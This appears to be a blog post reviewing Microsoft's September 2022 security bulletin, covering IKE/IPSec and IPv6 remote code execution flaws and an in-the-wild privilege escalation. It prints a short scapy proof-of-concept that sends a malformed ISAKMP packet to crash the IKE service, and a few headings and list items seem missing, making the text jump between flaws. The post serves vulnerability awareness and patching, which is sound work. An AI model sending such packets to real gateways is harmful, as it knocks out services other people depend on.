20 September 2022 CVE Vlad
You like this content ?
Share it on the networks
This month Microsoft’s security bulletin is quite intense, even if it does not contain anything that makes world security panic… but maybe😉
If you have a Windows server that acts as an IPSec VPN gateway, then it is vulnerable to 2 remote code executions, allowing full control, without authentication.
If in addition this server is exposed on the Internet… I think you’re going to have a bad weekend 😉.
CVSS score: 9.8/10.
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34721https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34722
As a bonus, here is a non-stability exploit that only crashes the service but within a few hours the exploit will be stability and exploited in the wild 😉: https://github.com/78ResearchLab/PoC/tree/main/CVE-2022-34721
The exploit source code :
from scapy.all import *
from scapy.contrib.ikev2 import *
from scapy.layers.isakmp import *
import socket, time
target = ("192.168.159.134", 500)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
pkt = ISAKMP(init_cookie=RandString(8), next_payload=0x84, exch_type=0xf3)
pkt /= ISAKMP_payload(next_payload=0x1, load=b"\x00\x00\x01\x7f")
sock.sendto(raw(pkt), target)
Please do not launch it on production servers 😄This API is accessible by any application willing to log things and this vulnerability allows to elevate its privileges but only if the attacker already has a first execution of code or partial takeover of the target (or is a teasing user 😅).
The particularity of this vulnerability is that it has been discovered by several security companies (Mandiant, Zscaler, Crowdstrike) as being exploited in the wild. Understand: customers of theirs have been hacked and this vulnerability has been used by attackers to advance attacks or directly into their malware.
This one is funny because if you have a Windows system with IPv6 enabled (which is the case by default), then it is possible to send you a specially formatted network packet resulting in code execution, remotely, without authentication. And since IPv6 is at the kernel level, it’s a total takeover 🎉.
CVSS score: 9.8/10.
Unless I’m mistaken, this is a routable packet, so the vulnerability looks like it could be exploited on the Internet. Afterwards, understand Microsoft, IPv6 is recent, it has only been supported by Microsoft for 20 years 😜! (Since Windows XP and especially XP SP1) https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34718
There are still plenty of vulnerabilities, some of which are:
Finally… there are some pretty critical vulnerabilities that need to be patched quickly 😉.
Last funny point, with this bulletin, Microsoft corrects its thousandth flaw of the year, youhou.. bravo… champagne 🍾.
It’s a very nice (ironic) anniversary to celebrate the official publication of the “Cyber Resilience Act”. which will require publishers to provide security assistance, security updates and a guarantee that digital products comply with cybersecurity requirements throughout their lifecycle. But that’s another topic we’ll talk about again😉: https://twitter.com/MaliciaRogue/status/1570366397737222144
Good luck 👍
